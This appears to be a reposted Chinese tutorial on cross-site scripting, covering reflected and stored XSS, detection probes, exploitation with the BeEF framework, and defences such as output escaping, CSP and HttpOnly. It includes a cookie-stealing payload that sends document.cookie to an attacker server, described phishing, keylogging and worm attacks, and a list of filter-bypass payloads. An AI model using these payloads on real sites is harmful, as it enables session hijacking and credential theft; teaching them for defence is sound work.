学网络安全不吃透XSS跨域脚本攻击等于白学了!
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
一、XSS基本概念与核心原理1、核心概念跨站脚本攻击(Cross-SiteScripting,Xss),是攻击者在Web页面中注入恶意JavaScript脚本,当用户访问页面时,脚本被浏览器执行,从而窃取信息、控制页面、钓鱼欺诈的Web高危漏洞。 2、核心原理
3、XSS攻击核心危害
二、反射型XSS &储存型XSS(核心分类)1、反射型XSS(非持久型XSS)
一次性、非持久化,恶意脚本随单次请求注入,仅对当前请求的用户生效无存储过程。
攻击者构造包含恶意脚本的恶意URL; 诱导用户点击该URL,请求发送至目标服务器; 服务器未过滤恶意脚本,直接将其反射回浏览器并嵌入页面; 浏览器执行脚本,触发攻击。
搜索框、查询页面、URL参数传参的页面(如?id=xxx
中等,依赖用户主动点击恶意链接,传播性较弱。 2、储存型XSS(持久型XSS)
永久性、持久化,恶意脚本被永久存储在目标服务器(数据库/文件/缓存),所有访问该页面的用户都会触发攻击。
攻击者将恶意脚本通过留言、评论、发帖、个人资料等功能提交至服务器; 服务器未做过滤,将恶意脚本存入数据库; 其他用户访问包含该数据的页面时,服务器从数据库读取并输出恶意脚本; 所有访问者的浏览器均执行脚本,批量触发攻击。
论坛评论区、留言板、社交平台动态、用户资料编辑页、商品评价页。
高危,攻击范围广、传播性强,可造成全站用户受害。 两类XSS核心区别
三、XSS漏洞检测与利用方法1、XSS漏洞检测(手动+思路)
围绕用户可控输入点,注入测试脚本,验证页面是否会原样输出并执行脚本,核心是验证「输入未过滤、输出未转义」。
URL参数:?id=xxx、?name=xxx、?search=xxx 前端交互:搜索框、留言框、登录框、个人信息编辑表单; 其他:HTTP请求头(Referer、User-Agent)、Cookie传参处。
<script>alert('XSS')</script> <script>confirm(1)</script> <img src=x onerror=alert('XSS')> <a href=javascript:alert(1)>点击</a>
注入测试脚本后,浏览器弹出弹窗/执行指定操作→存在XSS漏洞;脚本被转义(如<变为<)→无漏洞/过滤有效。 2、XSS漏洞利用核心思路
让目标用户执行恶意脚本,实现数据窃取、操作劫持、钓鱼诱导等。
结合XSS平台,将恶意脚本托管,实现攻击效果的持久化与可控化。 四、XSS平台核心:BeEF-XSS1、BeEF-XSS核心定位BeEF(Browser ExploitationFramework)是一款专业的XSS漏洞利用框架,专门用干管控被注入XSS脚本的浏览器,实现对目标浏览器的全方位操控,是XSS攻击的核心工具。 2、核心功能
3、核心使用流程
五、XSS漏洞实战攻击(六大核心场景)实战1、获取用户Cookie(最核心、最常用)
Cookie中包含用户的会话标识(SessionlD),攻击者获取Cookie后,可伪造用户会话直接登录目标账号。
<script>document.location='http://攻击者服务器/steal.php?cookie='+documentcookie</script>
1、构造包含Cookie窃取脚本的恶意代码,注入漏洞点; 2、用户执行脚本后,浏览器自动将Cookie发送至攻击者服务器; 3、攻击者在服务器日志/接收脚本中,读取目标用户的Cookie信息; 4、利用Cookie替换自身浏览器Cookie,完成会话劫持、账号登录。 实战2、钓鱼获取用户账号密码
通过XSS注入伪造登录表单,覆盖原页面的登录框,诱导用户重新输入账号密码,数据直接发送至攻击者服务器。
1、注入恶意脚本,隐藏原页面的登录表单; 2、动态生成与原网站一致的伪造登录框,样式、文案高度仿冒; 3、用户输入账号密码后,脚本将数据POST至攻击者服务器; 4、攻击者获取账号密码,完成钓鱼攻击。 实战3、获取用户键盘记录(高级利用)
注入键盘监听脚本,监听用户在当前页面的所有键盘输入(账号、密码、手机号、聊天内容),实时将输入内容发送至攻击者服务器。
1、隐蔽性极强,用户无感知; 2、可捕获所有输入类操作,获取更全面的敏感数据; 3、结合BeEF-XSS可实现一键键盘记录,无需手动编写复杂脚本。 补充实战场景(拓展)页面劫持:注入脚本跳转至恶意网站,诱导用户下载病毒、安装木马; 会话固定:修改用户Session,实现长期账号控制; 蠕虫攻击:在社交平台注入脚本,自动发布恶意链接,批量感染用户。 六、XSS漏洞防御与绕过(攻防核心)1、XSS漏洞核心防御方案(开发者视角,根治)
对所有用户可控输入做严格过滤,仅允许合法的字符、格式传入; 黑名单过滤:禁止输入<script>、javascript:、onerror等恶意关键字; 白名单过滤:仅允许字母、数字、指定符号,拒绝所有非法字符,优先级高于黑名单。
对所有页面输出数据做HTML转义处理,将半角特殊字符转换为全角实体字符:<→<、>→>、"→"、'→',转义后,恶意脚本会被当作普通文本展示,无法被浏览器执行。
配置Content-Security-Policy(CSP):限制页面加载脚本的来源,仅允许信任的域名执行脚本,直接拦截未知来源的恶意脚本; 配置X-XSS-Protection:开启浏览器的XSS防护模式,自动检测并拦截反射型XSS; 配置HttpOnly:为Cookie添加HttpOnly属性,禁止JS读取Cookie,从根源防止Cookie窃取。
禁用不必要的JS事件:如onerror、onclick、onload等危险事件; 对敏感操作增加二次验证:如转账、改密码需短信/验证码验证、定期审计代码、修复潜在的输入/输出漏洞。 2、XSS漏洞绕过技巧(攻击者视角,攻防对抗)
大小写混淆:<Script>alert(1)</ScriPt>、<IMG SRC=JaVaScRiPt:alert(1)> 关键字拆分:<scr<script>ipt>alert(1)</scr</script>ipt> 编码绕过:URL编码、HTML实体编码、Unicode编码,如%3Cscript%3Ealert(1)%3C/script%3E。
用非script标签替代:<img src=x onerror=alert(1)>、<svg onload=alert(1)>、<iframe src=javascript:alert(1)>; 用其他危险事件替代:onmouseover(鼠标悬浮)、onfocus(聚焦)、onclick(点击)。
利用过滤规则的漏洞:如过滤了<script>但未过滤<scr<script>>通过嵌套绕过; 利用浏览器解析差异:不同浏览器对标签、脚本的解析规则不同,构造适配的脚本; 结合BeEF-XSS:使用框架内置的混淆、编码块,自动生成绕过脚本。
利用CDN/第三方资源:将恶意脚本托管在信任的第三方域名,绕过CSP策略; 绕过HttpOnly:结合其他漏洞(如CSRF),无需读取Cookie即可伪造用户操作。 攻防核心总结防御的核心:严格过滤输入、安全转义输出、限制脚本执行; 绕过的核心:利用规则漏洞、变形恶意代码、适配解析差异; 最终对抗本质:开发者的过滤规则严谨性 VS 攻击者的脚本变形能力。 阅读原文:https://mp.weixin.qq.com/s/iavnspaXC4cdvbNlJ-deVg 该文章在 2026/1/23 17:47:25 编辑过 |
关键字查询
相关文章
正在查询... |